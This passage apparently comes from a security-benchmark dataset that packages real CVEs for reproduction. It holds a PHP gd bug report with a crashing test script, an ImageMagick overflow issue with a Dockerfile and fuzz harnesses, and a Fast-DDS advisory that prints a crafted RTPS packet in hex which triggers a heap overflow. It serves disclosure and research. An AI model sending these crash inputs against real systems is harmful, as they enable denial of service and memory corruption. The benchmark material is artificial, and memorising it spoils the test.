becomes: [255/r] ^ (input / output) We control r, input and output, and we can make the new value bigger than 255. GDB output ---------- Before imagegamacorrect: Breakpoint 5, gdImageTrueColorToPaletteBody (oim=0x7fffef678000, dither=<optimized out>, colorsWanted=<optimized out>, cimP=0x0) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:2015 2015 oim->tpixels = 0; gdb-peda$ p *oim $2 = { pixels = 0x7fffef6730f0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x4, 0xb, 0x0 <repeats 254 times>}, green = {0x2, 0xc, 0x0 <repeats 254 times>}, blue = {0x4, 0xd, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x1, polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x0, tpixels = 0x7fffef673050, alphaBlendingFlag = 0x1, antialias = 0x0, saveAlphaFlag = 0x0, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } gdb-peda$ c After gammacorrect: Breakpoint 3, gdImagePaletteToTrueColor (src=0x7fffef678000) at /home/operac/php-70/ext/gd/libgd/gd.c:3107 3107 if (src == NULL) { gdb-peda$ p *src $3 = { pixels = 0x7fffef6730f0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x100, 0x100, 0x0 <repeats 254 times>}, // colors palette > 0xff green = {0x100, 0x100, 0x0 <repeats 254 times>}, blue = {0x100, 0x100, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x1, polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x0, tpixels = 0x0, alphaBlendingFlag = 0x1, antialias = 0x0, saveAlphaFlag = 0x0, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } ... After imagepalettetotruecolor: Breakpoint 4, php_gd_gdImageTrueColorToPalette (im=0x7fffef678000, dither=0x1, colorsWanted=0xa) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:1767 1767 { gdb-peda$ p *im $4 = { pixels = 0x0, sx = 0x1, sy = 0x1, colorsTotal = 0x2, red = {0x100, 0x100, 0x0 <repeats 254 times>}, green = {0x100, 0x100, 0x0 <repeats 254 times>}, blue = {0x100, 0x100, 0x0 <repeats 254 times>}, open = {0x0 <repeats 256 times>}, transparent = 0x80010100, // transparent > 0x7fffffff (negative) polyInts = 0x0, polyAllocated = 0x0, brush = 0x0, tile = 0x0, brushColorMap = {0x0 <repeats 256 times>}, tileColorMap = {0x0 <repeats 256 times>}, styleLength = 0x0, stylePos = 0x0, style = 0x0, interlace = 0x0, thick = 0x1, alpha = {0x0, 0x7f, 0x0 <repeats 254 times>}, trueColor = 0x1, tpixels = 0x7fffef673050, alphaBlendingFlag = 0x0, antialias = 0x0, saveAlphaFlag = 0x1, AA = 0x0, AA_color = 0x0, AA_dont_blend = 0x0, AA_opacity = 0x7fffef673078, AA_polygon = 0x0, AAL_x1 = 0x0, AAL_y1 = 0x0, AAL_x2 = 0x0, AAL_y2 = 0x0, AAL_Bx_Ax = 0x0, AAL_By_Ay = 0x0, AAL_LAB_2 = 0x0, AAL_LAB = 0, cx1 = 0x0, cy1 = 0x0, cx2 = 0x0, cy2 = 0x0, interpolation_id = GD_BILINEAR_FIXED, interpolation = 0x0 } gdb-peda$ p/d im->transparent $6 = -2147417856 ----------------------------------------- ... https://github.com/php/php-src/blob/dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6/ext/gd/libgd/gd.c#L3155 int gdImagePaletteToTrueColor(gdImagePtr src) { ... if (src->transparent >= 0) { const unsigned char c = src->transparent; src->transparent = gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]); } ... https://github.com/php/php-src/blob/1c295d4a9ac78fcc2f77d6695987598bb7abcb83/ext/gd/libgd/gd.h#L541 #define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \ ((r) << 16) + \ ((g) << 8) + \ (b)) 7f000000 alpha 1000000 red 10000 green 100 blue ----------------- 80010100 This is the negative color that was assigned to transparent. Test script: --------------- <?php $img = imagecreatetruecolor(1, 1); imagecolortransparent($img, 0x0a0b0c0d); # if color >= 0 -> img->transparent = 0x0a0b0c0d imagetruecolortopalette($img, true, 10); # if transparent >=0 -> r[i]=0x0b g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f); img->transparent = i imagegammacorrect($img, -1, 1337); # rgb becomes negative => (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); imagepalettetotruecolor($img); # if transparent >=0 const unsigned char c = src->transparent; src->transparent = gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]); imagetruecolortopalette($img, true, 10); # if transparent >=0 => r[i]=0x0b g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f); img->transparent = i imagecolortransparent($img, 0); # if color >=0 && color < colorsTotal => im->alpha[im->transparent] = gdAlphaOpaque (0x0); Expected result: ---------------- No crash Actual result: -------------- ASan output: ASAN:SIGSEGV ================================================================= ==7112==ERROR: AddressSanitizer: SEGV on unknown address 0x7f96b96b9c50 (pc 0x00000098c960 bp 0x7ffcb18d91e0 sp 0x7ffcb18d91e0 T0) #0 0x98c95f in php_gd_gdImageColorTransparent /home/operac/php-70/ext/gd/libgd/gd.c:609 #1 0x95b50c in zif_imagecolortransparent /home/operac/php-70/ext/gd/gd.c:3311 #2 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586 #3 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414 #4 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458 #5 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427 #6 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494 #7 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974 #8 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344 #9 0x7f98bf19382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/operac/php-70/ext/gd/libgd/gd.c:609 php_gd_gdImageColorTransparent ==7112==ABORTING Comments: [Comment 1] [2016-08-10 07:16 UTC] stas@php.net Fixed in 047fe0ed03093a496691d376fcf51a7e2f1d04b0 and https://gist.github.com/8d67aca5d29866ca35b16c80bbe01c4f please verify Links: https://gist.github.com/8d67aca5d29866ca35b16c80bbe01c4f Commit References: 047fe0ed03093a496691d376fcf51a7e2f1d04b0 1c295d4a9ac78fcc2f77d6695987598bb7abcb83 dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6
[]
[ { "sha": "1bd103df00f49cf4d4ade2cfe3f456ac058a4eae", "url": "https://github.com/php/php-src/commit/1bd103df00f49cf4d4ade2cfe3f456ac058a4eae" }, { "sha": "dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6", "url": "https://github.com/php/php-src/commit/dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6" }, { "sha": "1c295d4a9ac78fcc2f77d6695987598bb7abcb83", "url": "https://github.com/php/php-src/commit/1c295d4a9ac78fcc2f77d6695987598bb7abcb83" }, { "sha": "047fe0ed03093a496691d376fcf51a7e2f1d04b0", "url": "https://github.com/php/php-src/commit/047fe0ed03093a496691d376fcf51a7e2f1d04b0" } ]
imagemagick.cve-2016-7799
imagemagick/imagemagick
3c57527b28494cd7807f071bd6c4d5ad75ba6ebb
2016-09-30T13:23:42
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout 3c57527b28494cd7807f071bd6c4d5ad75ba6ebb WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/280 ## Description: Issue: ImageMagick/ImageMagick#280 Title: imagemagick mogrify global buffer overflow State: closed Created by: marcograss Created at: 2016-09-30 10:18:19+00:00 Labels: bug Issue Body: Hi, the following test case will reproduce this crash. It's attached, you need a ASAN build on master branch > # ➜ utilities git:(master) ✗ ./magick mogrify ../../ImageMagick_bugs/mogrify_gbof~~ > > ==26125==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000037a74fc at pc 0x00000077c9ba bp 0x7ffdffbaac70 sp 0x7ffdffbaac68 > READ of size 4 at 0x0000037a74fc thread T0 > #0 0x77c9b9 (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x77c9b9) > #1 0x78024f (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x78024f) > #2 0x18bed91 (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x18bed91) > #3 0x18c2594 (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x18c2594) > #4 0x2ff1c7f (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x2ff1c7f) > #5 0x2f8cead (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x2f8cead) > #6 0x4f5da9 (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x4f5da9) > #7 0x7f3717a6b82f (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) > #8 0x422428 (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x422428) > > 0x0000037a74fc is located 4 bytes to the left of global variable 'format_bytes' defined in 'MagickCore/profile.c:1945:5' (0x37a7500) of size 52 > 0x0000037a74fc is located 34 bytes to the right of global variable '<string literal>' defined in 'MagickCore/profile.c:1306:38' (0x37a74c0) of size 26 > '<string literal>' is ascii string 'ResetImageProfileIterator' > SUMMARY: AddressSanitizer: global-buffer-overflow (/home/bob/VulnResearch/misc/ImageMagick/utilities/magick+0x77c9b9) > Shadow bytes around the buggy address: > 0x0000806ece40: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 02 f9 f9 f9 > 0x0000806ece50: f9 f9 f9 f9 00 00 00 03 f9 f9 f9 f9 05 f9 f9 f9 > 0x0000806ece60: f9 f9 f9 f9 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9 > 0x0000806ece70: 00 04 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 06 f9 > 0x0000806ece80: f9 f9 f9 f9 00 00 03 f9 f9 f9 f9 f9 00 00 00 00 > =>0x0000806ece90: 00 06 f9 f9 f9 f9 f9 f9 00 00 00 02 f9 f9 f9[f9] > 0x0000806ecea0: 00 00 00 00 00 00 04 f9 f9 f9 f9 f9 05 f9 f9 f9 > 0x0000806eceb0: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 > 0x0000806ecec0: 00 00 00 00 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 > 0x0000806eced0: 04 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 > 0x0000806ecee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 > Shadow byte legend (one shadow byte represents 8 application bytes): > Addressable: 00 > Partially addressable: 01 02 03 04 05 06 07 > Heap left redzone: fa > Heap right redzone: fb > Freed heap region: fd > Stack left redzone: f1 > Stack mid redzone: f2 > Stack right redzone: f3 > Stack partial redzone: f4 > Stack after return: f5 > Stack use after scope: f8 > Global redzone: f9 > Global init order: f6 > Poisoned by user: f7 > Container overflow: fc > Array cookie: ac > Intra object redzone: bb > ASan internal: fe > Left alloca redzone: ca > Right alloca redzone: cb > ==26125==ABORTING Thanks marco [mogrify_gbof.zip](https://github.com/ImageMagick/ImageMagick/files/502654/mogrify_gbof.zip) Comments: Comment by mikayla-grace on 2016-09-30 19:19:59+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow. Attachments: https://github.com/ImageMagick/ImageMagick/files/502654/mogrify_gbof.zip
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "a7bb158b7bedd1449a34432feb3a67c8f1873bfa", "url": "https://github.com/ImageMagick/ImageMagick/commit/a7bb158b7bedd1449a34432feb3a67c8f1873bfa" }, { "sha": "00a80395a4cd17a6f420238bf9d936d3d9b65a8a", "url": "https://github.com/ImageMagick/ImageMagick/commit/00a80395a4cd17a6f420238bf9d936d3d9b65a8a" } ]
fast-dds.cve-2023-39946
eprosima/fast-dds
37af35c59aa214889f69a9fb8ec3c9fcf7e61317
2023-08-04T05:23:28
fast-dds
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt install -y autoconf automake pkg-config RUN git clone https://github.com/eprosima/fast-dds fast-dds RUN git -C fast-dds checkout 37af35c59aa214889f69a9fb8ec3c9fcf7e61317 WORKDIR $SRC/fast-dds COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu make clean -j$(nproc) make -j$(nproc) all ./configure make -j$(nproc) install mkdir -p Fast-CDR/build && cd Fast-CDR/build cmake .. -DBUILD_SHARED_LIBS=OFF cmake --build . --target install mkdir -p build && cd build make -j $(nproc)
/src/fast-dds
address
================= Bug Report (1/1) ================== ## Source: GitHub Advisory ## URL: https://github.com/eProsima/Fast-DDS/security/advisories/GHSA-j297-rg6j-m7hx ## Description: Advisory ID: GHSA-j297-rg6j-m7hx Title: Heap overflow in push_back_helper due to a CDR message Description: Summary Heap can be overflowed by providing a PID_PROPERTY_LIST parameter that contains a CDR string with length larger than the size of actual content. Details In eprosima::fastdds::dds::ParameterPropertyList_t::push_back_helper, memcpy is called to first copy the octet'ized length and then to copy the data into properties_.data. At the second memcpy, both data and size can be controlled by anyone that sends the CDR string to the discovery multicast port. For example, consider the following RTPS packet: 0000 52 54 50 53 02 02 ff ff 01 0f 45 d2 b3 f5 58 b9 RTPS......E...X. 0010 01 00 00 00 15 05 00 00 00 00 10 00 00 01 00 c7 ................ 0020 00 01 00 c2 00 00 00 00 01 00 00 00 00 03 00 00 ................ 0030 50 00 10 00 ff ff ff ff ff ff ff ff ff ff ff ff P............... 0040 ff ff ff ff 59 00 08 00 01 00 00 00 ff ff ff ff ....Y........... 0050 ff ff ff ff .... The last 16 bytes represent the PID_PROPERTY_LIST parameter that triggers the overflow: 59 00 // param id: 0x59 08 00 // param len: 8 01 00 // cdr enc: CDR_LE 00 00 // cdr opt ff ff ff ff // size: 4294967295 ff ff ff ff // data: 0xffffffff In GDB, right before the second memcpy: In file: /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/include/fastdds/dds/core/policy/ParameterTypes.hpp 1513 { 1514 fastrtps::rtps::octet* o = (fastrtps::rtps::octet*)&size; 1515 memcpy(properties_.data + properties_.length, o, 4); 1516 properties_.length += 4; 1517 ► 1518 memcpy(properties_.data + properties_.length, data, size); 1519 properties_.length += size; 1520 1521 for (uint32_t i = 0; i < alignment; ++i) 1522 { 1523 properties_.data[properties_.length + i] = '\0'; ... pwndbg> print data $1 = (const eprosima::fastrtps::rtps::octet *) 0x6160000069b0 "\377\377\377\377\062" pwndbg> x/20wx data 0x6160000069b0: 0xffffffff 0x00180032 0x00000001 0x00001cf2 0x6160000069c0: 0x00000000 0x00000000 0x00000000 0xcff03d80 0x6160000069d0: 0x00180031 0x00000001 0x00001cf3 0x00000000 0x6160000069e0: 0x00000000 0x00000000 0xcff03d80 0x00080002 0x6160000069f0: 0x00000014 0x00000000 0x00040058 0x00000c3f pwndbg> print size $2 = 4294967295 pwndbg> print properties_ $3 = { static representation_header_size = 4, encapsulation = 0, length = 4, data = 0x602000036010 "\377\377\377\377", max_size = 8, pos = 0 } When the memcpy is executed, fastdds crashes. When it's compiled with ASAN, ASAN reports a heap overflow error: ================================================================= ==68865==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x616000006b8c at pc 0x0000004d87b7 bp 0x7ffff01d2b90 sp 0x7ffff01d2358 READ of size 4294967295 at 0x616000006b8c thread T2 [Attaching after Thread 0x7ffff01de700 (LWP 68867) fork to child process 68997] [New inferior 2 (process 68997)] [Detaching after fork from parent process 68865] [Inferior 1 (process 68865) detached] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". process 68997 is executing new program: /usr/lib/llvm-12/bin/llvm-symbolizer [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". #0 0x4d87b6 in __asan_memcpy (/home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/examples/cpp/dds/HelloWorld/DDSSecureHelloWorldExample+0x4d87b6) #1 0x7ffff6b959df in eprosima::fastdds::dds::ParameterPropertyList_t::push_back_helper(unsigned char const*, unsigned int, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/include/fastdds/dds/core/policy/ParameterTypes.hpp:1518:9 #2 0x7ffff6b95568 in eprosima::fastdds::dds::ParameterPropertyList_t::push_back(unsigned char const*, unsigned int, unsigned char const*, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/include/fastdds/dds/core/policy/ParameterTypes.hpp:1448:9 #3 0x7ffff6c265d0 in eprosima::fastdds::dds::ParameterSerializer<eprosima::fastdds::dds::ParameterPropertyList_t>::read_content_from_cdr_message(eprosima::fastdds::dds::ParameterPropertyList_t&, eprosima::fastrtps::rtps::CDRMessage_t*, unsigned short) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/core/policy/ParameterSerializer.hpp:665:19 #4 0x7ffff6c2457f in eprosima::fastdds::dds::ParameterSerializer<eprosima::fastdds::dds::ParameterPropertyList_t>::read_from_cdr_message(eprosima::fastdds::dds::ParameterPropertyList_t&, eprosima::fastrtps::rtps::CDRMessage_t*, unsigned short) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/core/policy/ParameterSerializer.hpp:62:18 #5 0x7ffff6c86a42 in eprosima::fastrtps::rtps::ParticipantProxyData::readFromCDRMessage(eprosima::fastrtps::rtps::CDRMessage_t*, bool, eprosima::fastrtps::rtps::NetworkFactory const&, bool)::$_0::operator()(eprosima::fastrtps::rtps::CDRMessage_t*, eprosima::fastdds::dds::ParameterId_t const&, unsigned short) const /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/builtin/data/ParticipantProxyData.cpp:571:30 #6 0x7ffff6c744d9 in bool eprosima::fastdds::dds::ParameterList::readParameterListfromCDRMsg<eprosima::fastrtps::rtps::ParticipantProxyData::readFromCDRMessage(eprosima::fastrtps::rtps::CDRMessage_t*, bool, eprosima::fastrtps::rtps::NetworkFactory const&, bool)::$_0>(eprosima::fastrtps::rtps::CDRMessage_t&, eprosima::fastrtps::rtps::ParticipantProxyData::readFromCDRMessage(eprosima::fastrtps::rtps::CDRMessage_t*, bool, eprosima::fastrtps::rtps::NetworkFactory const&, bool)::$_0, bool, unsigned int&) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/core/policy/ParameterList.hpp:133:22 #7 0x7ffff6c72dc8 in eprosima::fastrtps::rtps::ParticipantProxyData::readFromCDRMessage(eprosima::fastrtps::rtps::CDRMessage_t*, bool, eprosima::fastrtps::rtps::NetworkFactory const&, bool) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/builtin/data/ParticipantProxyData.cpp:652:16 #8 0x7ffff6bc73f2 in eprosima::fastrtps::rtps::PDPListener::onNewCacheChangeAdded(eprosima::fastrtps::rtps::RTPSReader*, eprosima::fastrtps::rtps::CacheChange_t const*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/builtin/discovery/participant/PDPListener.cpp:104:36 #9 0x7ffff60be210 in eprosima::fastrtps::rtps::StatelessReader::change_received(eprosima::fastrtps::rtps::CacheChange_t*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/reader/StatelessReader.cpp:329:31 #10 0x7ffff60c3f4d in eprosima::fastrtps::rtps::StatelessReader::processDataMsg(eprosima::fastrtps::rtps::CacheChange_t*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/reader/StatelessReader.cpp:557:18 #11 0x7ffff61636fd in eprosima::fastrtps::rtps::MessageReceiver::process_data_message_without_security(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&)::$_0::operator()(eprosima::fastrtps::rtps::RTPSReader*) const /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:202:25 #12 0x7ffff61278ef in void eprosima::fastrtps::rtps::MessageReceiver::findAllReaders<eprosima::fastrtps::rtps::MessageReceiver::process_data_message_without_security(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&)::$_0>(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::MessageReceiver::process_data_message_without_security(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&)::$_0 const&) const /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:668:17 #13 0x7ffff6125d9d in eprosima::fastrtps::rtps::MessageReceiver::process_data_message_without_security(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:205:5 #14 0x7ffff615e4f6 in void std::__invoke_impl<void, void (eprosima::fastrtps::rtps::MessageReceiver::*&)(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&), eprosima::fastrtps::rtps::MessageReceiver*&, eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&>(std::__invoke_memfun_deref, void (eprosima::fastrtps::rtps::MessageReceiver::*&)(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&), eprosima::fastrtps::rtps::MessageReceiver*&, eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/invoke.h:73:14 #15 0x7ffff615e130 in std::__invoke_result<void (eprosima::fastrtps::rtps::MessageReceiver::*&)(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&), eprosima::fastrtps::rtps::MessageReceiver*&, eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&>::type std::__invoke<void (eprosima::fastrtps::rtps::MessageReceiver::*&)(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&), eprosima::fastrtps::rtps::MessageReceiver*&, eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&>(void (eprosima::fastrtps::rtps::MessageReceiver::*&)(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&), eprosima::fastrtps::rtps::MessageReceiver*&, eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/invoke.h:95:14 #16 0x7ffff615df24 in void std::_Bind<void (eprosima::fastrtps::rtps::MessageReceiver::* (eprosima::fastrtps::rtps::MessageReceiver*, std::_Placeholder<1>, std::_Placeholder<2>))(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&)>::__call<void, eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&, 0ul, 1ul, 2ul>(std::tuple<eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&>&&, std::_Index_tuple<0ul, 1ul, 2ul>) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/functional:400:11 #17 0x7ffff615dc1b in void std::_Bind<void (eprosima::fastrtps::rtps::MessageReceiver::* (eprosima::fastrtps::rtps::MessageReceiver*, std::_Placeholder<1>, std::_Placeholder<2>))(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&)>::operator()<eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&, void>(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&) 